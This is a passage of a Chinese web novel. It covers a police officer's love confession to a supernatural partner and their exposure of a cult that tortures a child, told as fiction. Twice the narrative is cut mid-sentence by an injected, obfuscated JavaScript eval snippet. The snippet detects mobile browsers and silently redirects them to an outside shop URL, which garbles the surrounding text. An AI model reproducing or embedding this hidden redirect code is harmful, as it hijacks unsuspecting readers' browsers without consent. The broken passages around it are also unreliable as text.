贺黎筠终于松开她的手,却转而轻轻拍了拍她的发顶:“回家吧,该吃晚饭了。红烧鱼……还做不做?” 薛宓眼睛倏地亮了,一把抱住他胳膊:“做!还要加辣!” 她似乎没注意到,自己主动挽上他手臂的动作有多么自然。而贺黎筠也没挣脱,任由她拉着往前走,仿佛这本就是最寻常的归途。 晚饭后,贺黎筠执意要再给薛宓检查伤口,仿佛那道早已愈合的浅痕是什么了不得的大事。 “真的都愈合了……”薛宓无奈地伸出手,指尖光洁如初,连一丝印记都未留下。 “愈合了也要再消毒一次,以防万一。”贺黎筠坚持着,正拿出碘伏棉签,桌上的手机却突兀地响了起来。来电显示是楚子琦。贺黎筠手上正忙着,便顺手按了免提。 “贺、贺哥!你、你又上热搜了!”电话那头传来楚子琦激动得有些结巴的声音。 不就是抓了个现行犯么,这都第几回了。贺黎筠不以为意地皱眉:“上了就上了,你大惊小怪什么。” “不是啊贺哥!这次不一样!你……你女朋友好帅啊!可你什么时候偷偷交了女朋友啊?我们都不知道!” “?!”贺黎筠心里一慌,手忙脚乱地想去关免提,结果指尖一滑,竟直接把电话挂断了。 “我、我去回个电话……”他抓起手机,还没来得及躲去阳台,第二个电话就紧跟着打了进来。 他下意识以为还是楚子琦,接起来就急忙解释:“你别瞎嚷嚷!什么女朋友……” 结果,听筒里传来的是崔芳华女士又惊又喜的声音:“女朋友!?真的是女朋友!儿子,什么时候带回来给妈妈看看!” “……”贺黎筠瞬间语塞,“妈,八字还没一撇呢……” “哦~我懂了!”崔芳华的声音充满了了然和鼓励,“你还在追求人家是不是?那你要加油啊!我在网上看到视频了,小姑娘长得又漂亮,出手又帅气,跟你太配了!” “……” 好不容易应付完兴奋的母亲,贺黎筠赶紧上网搜索。 这一看,他的心更是沉了下去。薛宓那干脆利落制服凶徒的帅气身影已经传遍全网,甚至#一女子制伏袭击小学生凶徒#后面跟着个鲜红的“爆”字,而热搜榜上一连串#无名女侠秒杀袭击小学生凶徒#、#最帅女友力MAX现场#、#颜值武力双爆表小姐姐霸气护娃#…… 【小姐姐制服歹徒的动作那么凌厉,是警察吗?这反应速度和力量控制绝了!】 【三分钟,我要这个小姐姐的全部信息!又美又飒,姐姐给个机会!】 【看视频凶手是有预谋的,刀是直接冲着孩子去的,要不是这个小姐姐拦截及时……真的不敢想。】 【就在我家门口的小学!现在手都是抖的,谢谢这位小姐姐!如果不是她,后果不堪设想!给英雄鞠躬!】 更糟糕的是,拍摄者不仅拍了制伏凶徒的场景,还把他紧张为薛宓处理伤口的样子和薛宓挽着他离开的背影都被拍得一清二楚!导致还有一个#贺黎筠女朋友#的热搜! 【放大看细节!他们穿的是同色系外套!是情侣装吧!?所以这是在约会途中顺便抓了个坏蛋?这是什么神仙情侣!有谁认识他们吗?】 【啊啊啊这个靠手铐的帅哥是贺警官!没想到这么帅气的小姐姐是贺警官的女朋友![照片] 小姐姐受伤后,贺警官那个心疼的眼神藏都藏不住!】 【贺哥,你的电话怎么打不通啊!】 微信消息也彻底爆炸了,红点数字不断攀升。全是同事和好友震惊地追问这“帅到离谱的小姑娘”到底是谁。 贺黎筠心虚地退回客厅,只见薛宓也正低头看着手机屏幕,心顿时更虚了。 “那个……网上都是乱传的,你别在意……”他试图轻描淡写地解释。 薛宓歪了歪脑袋,眼神清澈却带着一丝困惑:“可你不是有喜欢的人了吗?万一她看到这些,误会了怎么办?” 空气安静了一瞬。 “是,我确实不想再让她误会了。”贺黎筠深吸一口气,突然主动上前了一步,像是鼓足了毕生的勇气,目光直直地望向薛宓的眼睛,“所以,薛宓,我喜欢的人,是你。” “我……?” 薛宓怔住了。这是她第一次清晰地听见了自己的心跳——咚咚、咚咚,像擂鼓般撞着胸腔。 她舌头有些打结,有些不确定地指向自己:“贺黎筠,你、你是在开玩笑吗?” “我从来不会开这种玩笑。” 贺黎筠的声音低沉而认真。他鼓起勇气,将自己的手轻轻覆在她的手背上。掌心的温度透过皮肤相贴的地方传过去,像是给那串慌乱的心跳按下了慢放键。 “我身边从来没有其他女性,所以最初,我自己也分不清,对你究竟是什么样的感情。还记得之前我们讨论过,什么是喜欢,什么是爱吗?” “察觉到你对爱情的厌恶后,我就打算默默藏好这份心意,就这样以契约的关系守在你身边就好。毕竟我们签订灵魂契约,理论上直到我死,你都不会离开。可我……变得越来越贪心了。”他苦笑了一下,“我根本不怕什么厉鬼恶煞,找那些借口让你跟着,其实只是……想让你更多地待在我身边。” “逛街买衣服买包包,去游乐园亦或者看电影……这些事,我从来没有和别人一起去做过。只是因为那个人是你,我才愿意挤出所有空闲时间,去计划,去期待。” “薛宓,你对我来说,是独一无二的特别。” 他说这话时,指尖无意识地蜷缩了一下,仿佛想握住什么,却又强自克制着。客厅的灯光在他眼底投下细碎的光,将那其中翻涌的紧张与期待都照得清晰可见。 短暂的沉默在两人之间弥漫开,只有彼此交错的呼吸声清晰可闻。他喉结轻轻滚动,终于还是将那句在心底盘旋已久的话问出了口,声音比刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848085|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才更低沉,也更加温柔。 “如果,我的感情会让你感到困扰,我会立刻退回到从前的关系,绝不再逾越。但如果你愿意……给我一个机会,我会用尽一切办法,让你真正明白,人类所说的‘爱’,究竟是什么感觉。” “你,愿意吗?愿意……做我的女朋友吗?” 这一长串真挚而直接的表白,把薛宓彻底听呆了。 她的大脑还在努力处理这庞大的信息量,试图理清自己混乱的思绪时,又听到贺黎筠补充道:“对于拥有近乎永恒生命的你来说,我可能只是你未来漫长岁月里,一个微不足道的小点。你的时间还很长很长……所以,不用有压力。如果以后你觉得不合适,或者厌倦了,直接把我踹了就行。” 他的目光灼热而真诚,语气里却又带着一种近乎卑微的坦诚。 薛宓不太明白胸口那种胀胀的、酸涩又带着点奇异暖流的感觉是什么,也不完全理解“女朋友”这三个字背后所承载的全部人类社会的重量与承诺。 但他掌心的温度如此真实地熨帖着她的手背,那热度似乎带着某种奇异的安抚力量,连带着她原本因震惊而狂跳的心脏,也正逐渐被牵引着,以一种陌生的、却并不令人讨厌的节奏,持续鼓动着。 心跳得很奇怪,仿佛在不知不觉间,悄悄与他达成了同频…… 更重要的是—— 他喜欢她,独一无二。 他想让她一直留在身边。 他愿意教她什么是“爱”。 以及……如果她以后觉得不合适,可以随时把他踹了。 最后这一点,莫名地让薛宓感到一种踏实的安全感。她眨了眨眼,长长的睫毛像蝶翼般扇动了几下,似乎终于从巨大的信息流中理出了一条清晰的线。 做他女朋友,随喊随停!风险可控!利处多多! 于是,她没有立刻抽回手,反而用另一只空着的手,学着人类表达疑惑时的样子,轻轻点了点自己的下巴。 “所以……”她歪着头,像是在确认一个非常重要的条款,“做你的女朋友,就意味着……我们可以一直像现在这样住在一起?你可以继续给我买衣服和包包,带我去游乐园和看电影?而且,是以‘喜欢’的名义,正大光明地一起去?” 贺黎筠的心脏几乎提到了嗓子眼,他用力地点了点头:“对。而且……可能还会有一些……别的互动。”他的耳根又开始不受控制地泛红。 薛宓似懂非懂地“哦”了一声,然后非常认真地开始盘算:“听起来比灵魂契约多了很多附加福利,而且违约成本似乎很低……”她完全是用一种分析契约利弊的逻辑在思考。 片刻的思索后,薛宓的视线从他紧张的脸庞,缓缓移到他紧紧覆盖着自己手背的大手上。她忽然用指尖,轻轻挠了一下他的掌心。 “你说的‘爱’,那种感觉,我现在的确还不明白。”她终于开口,声音不高,却清晰地敲在贺黎筠的心上,“但是……” 她顿了顿,那双漂亮的眼睛里,第一次如此清晰地映出他的倒影,并且只有他。 “但是,我现在突然有了兴趣,想和你一起弄明白。” “所以,好啊。” 她将自己那只被他覆盖着的手轻轻翻转过来,变成了与他掌心相贴、十指自然交握的姿势。 又低头好奇地研究了一下两人交缠的手指,才缓缓地抬起头,看向他,那双眼睛里依旧纯净,却仿佛多了点不一样的光彩。 “贺黎筠,在你死之前,或者在我踹了你之前,我就当你的女朋友吧!” 话音落下的瞬间,贺黎筠感觉全世界的声音都消失了,只剩下自己胸腔里那震耳欲聋的、名为狂喜的心跳声。 他再也抑制不住,手臂微微用力,将她的手更紧地握在了掌心。 “薛宓。”他叫她的名字,那因情绪翻涌而略显低哑的嗓音,万分郑重地开口,“我会用行动证明,你做的这个决定不会错。” 薛宓看着他眼中几乎要溢出来的光彩,如同盛满了整个夏夜的星辰。就见他微微俯身,温热的额头轻轻抵上了她的。 她没有躲闪,甚至带着一丝好奇,顺从地接受了这份亲近。 她以为他会和电视剧里看到的人类情侣一样对她做些什么,但他只是闭上眼,安静地保持着这个姿势。这个触碰不带有任何侵略性或情欲色彩,只有一种近乎虔诚的贴近。 她清晰地感受着他额间传来的、略高于自己的体温,听着他近在咫尺、依旧有些急促却努力平复的呼吸声,还有那透过始终紧握的手掌传来的、坚定而有力的脉搏跳动。 这三种感知交织在一起,形成一种奇特的包围圈,将她温柔地笼罩其中。 这种被全然包裹、被郑重对待的感觉,对薛宓而言是前所未有的新奇体验。 她虽然还不能完全理解“爱”的含义,但此刻,她非常确定—— 她似乎,并不讨厌。 甚至,心底某个角落,悄然滋生出一丝模糊的……喜欢。 她主动晃了晃两人交握的手,带着点新奇的试探,轻轻问:“男朋友,我们现在要做什么?” 这一声清脆又自然的“男朋友”,像一颗投入心湖的蜜糖,让贺黎筠整颗心都被填得满满的。 他耳根红得发烫,声音难得羞涩起来,支支吾吾地开口:“也许,我们可以先从称呼开始适应一下?宓宓……” 明明崔芳华和好朋友们都叫自己“宓宓”,可“宓宓”这两个字从贺黎筠嘴里吐出,竟让自己的心莫名其妙跳快了几分。 耳朵酥酥痒痒的,心也莫名痒痒的。 薛宓学着他的样子,试着叫了一声:“筠筠?” 总觉得哪里怪怪的,还是不喊叠词了。 “黎筠?” “嗯。”贺黎筠轻声应道,忍不住将薛宓的手握得更紧了,“明天我轮休,我们去约会吧。” 薛宓眨了眨眼,消化着这个熟悉的词汇在新语境下的含义。她想起之前去游乐园和看电影,原来那些就是“约会”。 “好。”她点头,回答得干脆,随即又浮现出新的好奇,“那这次约会,我们需要做什么特别的事吗?还是像之前一样,去看电影,或者去游乐园?” 贺黎筠看她眼睛亮晶晶的,透着显而易见的期待,心头瞬间软成一片。 “不,这次做点不一样的。我带你去个新地方,是一个能看到整座城市‘心跳’的地方。” 话音刚落,就见薛宓的眉毛疑惑地挑了起来,显然对这个抽象的描述感到不解。 他这才笑着补充道:“是气象站的观景台。在城郊的山上,平时没什么人去。但站在那里,可以看到整个青江市从日出到日落的变化。高楼像积木,车流像光河……” 他顿了顿,目光温柔地落在她脸上。 “我想带你去看看,在没有任何案件、没有任何恶念打扰的时候,这座城市平常而又充满生机的样子。或许……那会是一种不一样的能量。” 50.邪教 高颜值女性飒爽制伏凶徒的视频在全网爆火后,各大媒体敏锐地嗅到了流量的气息,争先恐后地想要采访这位又美又飒的民间英雄。 所以当有眼尖的网友通过背影和侧影认出视频里负责给嫌疑人戴上手铐的男性正是青江市的警草贺黎筠时,闻风而动的记者们立刻如潮水般涌向了青江市公安局。 结果,却扑了个空——贺黎筠今天恰好轮休! 不甘心的媒体记者们哪肯放弃,纷纷围住进出警局的警察们打探消息。 被吵得一个头两个大的楚子琦,一边往外挤一边无奈道:“别问了别问了,我们也是看了热搜才知道的!贺哥藏得太深了,我们之前谁都不知道他居然有女朋友了……我们内部的好奇心一点也不比你们少!” 他挠了挠头,又嘀咕道:“之前领导给他安排过相亲,就去了一回再没下文。现在想想,有那么又漂亮又帅气的女朋友,谁还去相亲啊……” 等到第二天贺黎筠重回岗位,立刻被守候多时的媒体逮个正着。面对长枪短炮,他无奈地代为回应:“感谢大家的关注,但她只是一位普通市民,不愿生活受到打扰,暂时不接受采访,还请各位谅解。” 而当被直接问及两人是否正处于恋爱关系时,贺黎筠耳根微微发红,他斟酌了一下用词,带着点羞涩却又坦率地承认:“目前……还只能算是追求阶段。其实,我也是昨天因为热搜的事,才刚向她表明心意。现在,正在努力交往中。” 贺黎筠这番“正在努力追求”的解释,顷刻间在社交媒体上掀起了新一轮热潮。 【天啊!我听到了什么!贺警官这样的颜值天花板、能力担当,居然还需要努力追求别人?!小姐姐到底是何方神圣!到现在都没人扒出信息!】 【所以是贺警官单方面先动心了?好好奇啊,到底是什么样的女孩子能让贺警官这么小心翼翼又满怀期待地去追求?贺警官说起她时眼睛都在发光!】 【保护得这么好,身份一点都没泄露,看来是动真格的,真心想保护对方。刑警的女朋友确实要低调,媒体大肆宣扬容易让犯罪分子盯上。】 【“正在努力交往中”这句话怎么听起来又甜又心酸啊,贺警官加油!早日转正!】 几天后,由于始终未能扒出贺黎筠那位神秘女友的真实身份,加上新的网络热点转移了公众视线,这阵突如其来的关注才逐渐平息。 而某日约会期间,贺黎筠正低头扫码点单,忽然察觉到对面的薛宓蹙紧了眉。 他顺着她的目光转头望去,就见玻璃窗外,一个衣着体面、容貌富态的中年女人正笑吟吟地从一家装潢奢华的高级私人俱乐部走出来。 见她坐上一辆外地牌照的私家车离去,贺黎筠迅速记下了车牌。 顺着车牌号深挖,贺黎筠发现这个被薛宓标记的女人,是隔壁市一家名为“宝贝乐园”的机构创办人,王秀琴。 该机构对外宣称是倡导“自然育儿”、“回归田园”的公益组织,成员群居于偏远山区,远离尘嚣。它不仅有正规的营业执照、精美的官网和宣传册,甚至在社交媒体上也时常发布动态,看起来极其正规的样子。 然而,和隔壁市警方深入核查后,就发现这其实是个需要缴纳高额“奉献金”才能获得进入所谓“家园”资格的邪教组织。 就像参加活动免费领鸡蛋、听讲座免费领鸡蛋这类老年人骗局一样,这个组织最初也以老年群体为目标,随后逐渐拓展至生活遭遇变故、家庭失和、事业困顿或身患疾病的人。 他们有意识地接触、筛选那些渴望精神寄托的对象,并借“末世论”进行洗脑,声称唯有绝对服从教主、进入偏远山区那座与世隔绝的“庇护所”,才能获得最终的救赎。 于是,被深度洗脑的教徒们上交全部财产,切断与外界的一切联系,只为换取进入“庇护所”的资格。 讽刺的是,那位口口声声要“隔绝世俗”的创办人,却在外面挥霍着教徒的血汗钱,过着奢靡无度的生活。 薛宓听完贺黎筠的调查结果,脸上露出难以置信的神情:“这个组织成立了二十年?这么多年,难道就没人发现自己被骗去报案或者投诉吗?” 贺黎筠神色凝重:“邪教组织的内部往往结构封闭、控制严密。他们不仅切断教徒与外界的物理联系,更从精神上完全奴役他们。在那些被彻底洗脑的人眼里,教主就是神,他的意志高于一切。为了所谓‘信仰’,有些人甚至能对至亲下手。所有质疑者都会被视作‘恶魔’,需要被‘教育清理’。” 他顿了顿,声音低沉:“所以,很可能不是没有人报过案,而是那些试图反抗或求助的人……早已清理掉了。” 贺黎筠完全相信薛宓的眼睛。若仅仅只是贪财和洗脑,绝不可能滋生出薛宓所感知到的那种浓稠到令人窒息的恶念。 这背后,必然隐藏着更深的罪恶,很可能关乎人命! “既然隔壁市警方早就注意到这是邪教,也暗中调查了这么久,为什么不直接取缔?” “怀疑不等于证据。最初,其实是因为一次人口普查发觉到异常的。似乎在那里出生的孩子没有户口,也不接受外界教育。隔壁市教育局派人劝了几次,住在那里的父母依旧不愿意,而后就惊动了公安局介入调查。” 贺黎筠补充道,眉头紧锁:“但他们说,对方极其狡猾,反侦察能力很强。每次警方稍有动作,他们似乎总能提前得到风声,做好万全准备,让警方查不出任何实质性的证据。而教徒众口一词自称‘自愿’,也无人报警,甚至视警察为‘恶魔的使者’,集体暴力抗法。为避免伤亡,警方只能暂时撤离。” “警方可以依靠直觉与线索推断,但法庭需要的是确凿的、能形成完整链条的证据。洗脑等精神控制本身难以作为直接罪证,贸然行动还可能被反诉侵害宗教自由。而自那件事后,他们很少对外招募新人,没有内部人引荐,即便愿意交钱也很难进入。据点里监控密布,戒备森严,警方始终未能成功安插卧底……可以说,第一次行动已经打草惊蛇。” “这容易啊,我去。反正监控也拍不到我。”薛宓立刻自告奋勇,语气轻松得像只是要去散个步。毕竟她已经和贺黎筠配合潜入过多个重大案件场合,早已驾轻就熟。 熟门熟路地戴好微型通讯和拍摄设后,她便趁着夜色潜入了进去。 她本打算趁众人入睡先摸清布局,天亮再暗中收集证据。没想到深夜的营地并不安宁,后山方向传来阵阵喧哗,空气中弥漫的恶念也越发黏稠。 薛宓顺着声音潜行过去,拨开树丛,一股刺鼻的臭味扑面而来。 只见火把照亮了一处肮脏的猪圈,十几个成年人围在周围,声嘶力竭地喊着:“恶灵退散!撒旦退散!” 她起初还以为是什么邪门仪式,直到看清猪圈里的景象。 一个七八岁的男孩,浑身赤裸,被铁链锁在猪圈的栏杆上,满身都是淤青和污秽。大人们排着队,轮流用木棍狠狠抽打他。孩子气息微弱地哭喊着:“我不是恶灵……妈妈……我不是……”却只换来更凶狠的殴打。 薛宓脑中“嗡”的一声。 什么潜伏计划、拍摄任务,瞬间被她抛在脑后。 “住手!” 她从暗处猛地冲了出去。 众人闻声齐刷刷地转过头,十几双眼睛在火光映照下带着惊疑和怒气瞪向薛宓。 然而,他们并未立刻动手。 在这个与世隔绝的庇护所里,实行着严格的分离制度。父母与子女、夫妻之间不仅不能同住,甚至禁止使用正常的亲属称谓。所有人只是教会的普通一员,只能爱上帝、绝对服从教主。 所以瞧见薛宓这个生面孔时,他们一时也无法断定她是不是其他分区新来的“兄弟姐妹”。 就在众人犹疑之际,一个身穿灰布长袍、神色阴沉的男人踏前一步,厉声喝道:“你是哪个区的?谁允许你夜间擅闯惩戒之地?” “惩戒?”目光扫过猪圈里那个气息微弱的孩子,薛宓强压着翻涌的火气,冰冷反问,“他犯了什么错,需要被这样惩戒?” 众人只当她新来不久、还不懂规矩,便七嘴八舌地科普起来,语气里甚至带着一种扭曲的自豪。 “教主明鉴,这孩子是被恶灵附身了!他玷污圣墙,行为怪异,都是恶灵作祟!” “唯有通过圣棒的击打,忍受污秽环境的洗礼,才能将他体内的恶灵彻底驱除!这是教主赐予他的救赎之路!” 薛宓触目所及,那孩子瘦小的身体上布满了紫黑色的淤痕,四肢呈现出不自然的扭曲,显然已有多处骨折。 他的呼吸微弱而急促,内伤恐怕更为严重。如果再晚来一步,这个无辜的生命就要被这群愚昧疯狂的人以“驱魔”之名活活打死了! “胡说八道!”薛宓的声音陡然拔高,怒意喷薄而出,“他身上根本没有什么恶灵!你们现在做的,就是赤裸裸的犯罪!是谋杀!” “放肆!”灰袍男人举起木棍直指她面门,“你敢质疑教主的神谕?” 这一吼如同点燃了引信,周围教徒眼中瞬间涌起狂热的敌意,纷纷尖叫起来: “她也被恶灵附身了!她和那孩子是一伙的!” “怪不得敢亵渎圣洁的惩戒仪式!她是恶魔派来的!” “抓住她!连同她体内的恶灵一起净化!” 顷刻间,所有原本指向男孩的木棍与充满恶意的目光,齐刷刷转向了薛宓。狂热的气氛如同被浇了油的烈火,迅速蔓延开来。 人群开始面目狰狞地向薛宓逼近,狂热的叫嚣声几乎淹没了夜晚的山风。 然而,就在这千钧一发之际—— “呜哇——呜哇——!” 刺耳嘹亮的警笛声骤然划破夜空,由远及近,迅速变得震耳欲聋! 紧接着,“砰!哐啷——!” 大门闸口被疾驰的警车猛地撞开,数道雪白刺目的车灯强光,如利剑般劈开黑暗,将聚集的人群彻底笼罩! 刚刚还气势汹汹的教徒们被这突如其来的变故惊呆了,但他们还来不及藏起棍棒、四下逃窜,一道枪声破空而起。 “警察!全部不许动!” “放下武器!双手抱头蹲下!” 就在贺黎筠小心翼翼地将奄奄一息的孩子抱起,准备送上警车时,一名头发散乱、眼神狂热的女子猛地从人群中冲了出来,不顾一切地扑到贺黎筠身前,用身体死死拦住去路。 “不能救!不能救他啊!”她声嘶力竭地哭喊着,面目扭曲,“他是被恶鬼附身了!我们是在帮他驱魔!你们这样会触怒神明,会害死我们所有人的!把我的孩子还给我!” 薛宓难以置信地看着这个疯癫的女人。她原以为这个可怜的孩子已父母双亡才遭到这种非人虐待,没想到施暴者中竟还有他的亲生母亲。 而她不顾一切地冲出来,竟不是为了保护骨肉,而是在疯狂维护那个施加暴行的教主和扭曲的教义,仿佛孩子只是她献给“信仰”的祭品。 这番愚昧至极的嘶喊,彻底点燃了薛宓心头的怒火。 而在警方迅速形成的严密包围下,那位尚在睡梦中的教主被警笛惊醒,还来不及从后门逃脱,便一同落网。 随后,警方在猪圈下方挖出了多具浅埋的骸骨——恐怕都是被他们以“除魔”之名,活活折磨致死的。 令薛宓气笑的是,即便面对铁证,那群被洗脑的教徒仍众口一词地狡辩,声称他们并非虐待,孩子身上的伤痕是恶魔被驱离时留下的印记,而死亡的教徒全是被恶魔害死的。被警方严词驳斥后,他们又改口说这一切都是自愿行为,与教主无关。 若不是薛宓身上的针孔摄像头拍下了他们高呼教主之名施暴的场面,怕是又被他们的教主逃过了这一劫。 审讯过程中,许多教徒依然执迷不悟,将教主的被捕视作“神对信徒的试炼”,坚信自己是在为信仰殉道,甚至对着薛宓和办案警察破口大骂。 怒气积累到一定程度,那自然是忍无可忍。 薛宓决定亲自给他们一点颜色瞧瞧。不是说她是恶魔附身吗,那她就让他们见识见识,什么才是真正的“恶”之幻境! 只是,出乎薛宓意料的是,明明是由他们的恶念编织的幻境,然而那些最顽固的教徒的幻境深处,浮现的并非穷凶极恶的狂欢,而是他们日复一日像奴隶般劳作。 生了病不能去医院,只能自行灸治,不少人身上伤痕累累、常年疾病缠身。而这里,任何流露出迟疑或试图帮助被“惩戒”者的人,都会立刻被指为“恶灵同党”,遭受同样的命运……长期的□□折磨和精神控制,早已让他们变得麻木、顺从,如同行尸走肉。 更可悲的是在这里出生的孩子——没有户口,不接受外界教育,完全沦为教主的私有财产。 甚至因为没有户口,就算被活活打死,外界也无人知晓他的存在,如同从未降临过这个世界。 看到这一切,薛宓虽然还是无法理解这群教徒到底因为什么能被洗脑成这副模样,但心中滔天的怒火渐渐转化为一种深思。 简单的惩罚或许能平息一时之愤,却无法根除深植于他们脑中的毒瘤。 她改变主意了。 当夜,看守所的临时监区内,王秀琴阴沉着脸坐在角落,脑中飞速盘算着如何统一口径、撇清自身罪责。她甚至暗自嗤笑警方愚蠢,竟将她与核心教徒关在同一区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856113|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 域,正好方便她暗中操控。 就这么暗中谋划时,头顶的灯管忽然毫无预兆地开始疯狂闪烁。刺骨的阴风凭空卷起,墙上浮现出无数凄厉的血手印,空气中回荡起孩童凄惨的哭嚎与铁链拖曳的刺耳声响。 “你、你们听到什么声音了吗?!”王秀琴猛地抬头,脸色煞白,声音因极度恐惧而变调。 教徒们却一脸茫然,面面相觑,他们什么异常都没听到、没看到,完全不明白他们奉若神明的教主大人为何会突然如此失态。 就见她继而惊恐地大喊:“是恶灵!有恶灵来了!” 而在王秀琴的眼中,她却看见那些被她以“除魔”为名活活折磨致死的冤魂,正拖着残破的身躯,一步步向她爬来,眼中流淌着血泪。 “贱种!当初就该把你和你那该死的妈一起打死!别过来!滚开!滚开啊!!!”她对着空气疯狂挥舞手臂,面目狰狞如恶鬼,“我有神明护体!我不怕你!教主……不,我才是真神!我命令你魂飞魄散!” 但恐惧很快吞噬了虚张声势。 望着冤魂步步紧逼,她终于彻底崩溃,涕泪横流地瘫软在地:“别索命……求求你……” 她抱着头蜷缩成一团,语无伦次地哀求,“都是他们逼我的!是那些蠢货自愿献上财产和孩子的!我只是……只是帮他们净化而已!” “啊!别咬我!你的骨头不是我打断的!是你妈!是你妈先动的手!” 突然她又惨叫起来,拼命蹬着腿,仿佛在挣脱无形的撕咬,“我错了……我不该贪那些金子……我不该编什么末日……都是我胡说八道的!!” 一旁的教徒们目瞪口呆地看着他们昔日高高在上的教主,涕泪横流地跪在地上,丑态百出地忏悔着自己的罪行。 但在王秀琴语无伦次地自曝下,仍有一些最忠实的信徒固执地认为,这定是强大的恶灵在附身教主,用奸计扭曲她的言行,试图离间他们神圣的团体。他们甚至试图在心中默念教义,抵抗这邪恶的考验。 然而,这一丝顽固的愚忠,并未能持续多久。 当晚,所有被关押的教徒,无一例外地坠入了一个无比真实的梦境。 在梦里,他们清晰地看到,王秀琴如何背着他们在外面的豪华场所挥金如土,如何嘲笑他们的愚昧奉献,如何将他们视作满足私欲的奴隶和工具。 他们被骗了! 刚才,定是真正的神明不忍他们受蒙蔽,才出手惩处了这个假借神名的骗子! 一股被愚弄、被践踏的怒火瞬间在梦中点燃。 紧接着,梦境陡然翻转—— 他们不再是高高在上的“净化者”,而是瞬间被拖入那个亲手制造的、污秽绝望的深渊。 他们变成了那个孩子。 脚踝被冰冷沉重的铁链锁死,黏腻恶臭的污泥包裹着赤裸的皮肤,蚊蝇在溃烂的伤口上叮咬。然后,木棍带着风声狠狠落下! “啪!”皮开肉绽的剧痛! “咔嚓!”骨头断裂的脆响! 内脏受损带来的窒息感,被至亲之人背叛、殴打的绝望与心碎,对死亡的恐惧和求生的渴望——所有他们曾施加于人的痛苦,此刻一分不差地返还到自己身上。 他们的神明在亲自惩罚着他们! 就在他们濒临崩溃时,冰冷而威严的诘问,如洪钟般在他们灵魂深处震响: “如果真是救赎,为何要在黑暗中进行?” “如果教主是神,为何需要你们的钱财?” “生病为何不能看医生?” “孩子为何不能上学?” 随着最后一句落下,梦境画面再次变换: 温暖的阳光洒下,他们看见正常家庭中父母与孩子的欢笑,看见校园里孩子们求知的纯真眼神,看见病榻前得到及时救治后的安宁…… 这与他们经历的黑暗形成了天堂与地狱般的对比,一种强烈的向往和失落感油然而生。 与此同时,那个声音再次响起: “没有注定到来的末日,只有被谎言制造的牢笼。教主不是神,她只是个骗子。你们每一次举起棍棒,都是自己的选择。” “警方会保护你们,社会会帮助你们重新开始。但走出阴影的第一步,需要你们自己承认错误,并愿意接受帮助。” 第二天清晨,所有从这场集体噩梦中醒来的教徒,眼中都充满了血丝,但那不再是狂热丝,而是被真相灼烧后的痛苦与醒悟。 回想起梦中的每一个细节,再结合昨夜王秀琴情急之下的自爆,被欺骗、被利用、甚至亲手参与暴行的愤怒和羞愧,如同火山般爆发出来! 不知是谁先发出一声怒吼,众人积压的怒火彻底燃起,纷纷将拳头和脚踢向了缩在角落、精神已然不正常的王秀琴。 当看守人员听到异常动静赶来制止时,看到的是昨天还口径一致、甘愿顶罪的教徒们,此刻个个义愤填膺,争先恐后地指着王秀琴,将她如何编造谎言、如何指使他们虐待、如何侵吞财产、甚至以往那些被“除魔”致死的隐秘罪行,一五一十,全部抖落了出来。 被蒙蔽的灵魂,在这一刻终于照进了真相的光。 每次动用大规模的幻境能力后,薛宓总会陷入一整夜的沉睡。 这次醒来时,窗外天光已大亮,她揉了揉眼睛,看见贺黎筠正坐在床边,手里拿着一份文件。 “醒了?”他轻声问道,将一杯温水递到她手中,“市里特批了文件,要为那些从邪教组织中解救出来的孩子们统一办理户口。” 薛宓小口喝着水,还有些迷糊地点了点头。直到贺黎筠的下一句话,轻轻落下: “我把你的名字也报上去了。” 她握着杯子的手微微一顿,抬眼望向他,眸中带着些许不解。 毕竟是先斩后奏,贺黎筠迎上她的目光,小心翼翼地解释:“你作为这次揭发邪教的关键证人,总需要一个合理的身份和理由。对外,我们会说你和妹妹是两年前从那个邪教组织中逃出来的幸存者。” “妹妹?”薛宓轻声重复,眉头微蹙,“谁是我妹妹?” “就是现在正在读初中的你。薛宓这个名字毕竟你要自己用的,所以需要给你那个初中生身份,重新取个名字。” “啊?”薛宓彻底愣住了,张了张嘴,更加不解道,“为什么啊?” 窗外的阳光斜斜地照进来,在贺黎筠的肩章上跳跃。他沉默了片刻,再开口时,声音里带着一种近乎温柔的郑重:“因为,我希望现在的你,站在我身边的这个你……” 他的目光落在她因惊讶而微张的唇上,又缓缓移回她清澈的眼睛。 “能有一个堂堂正正、合法的人类身份。”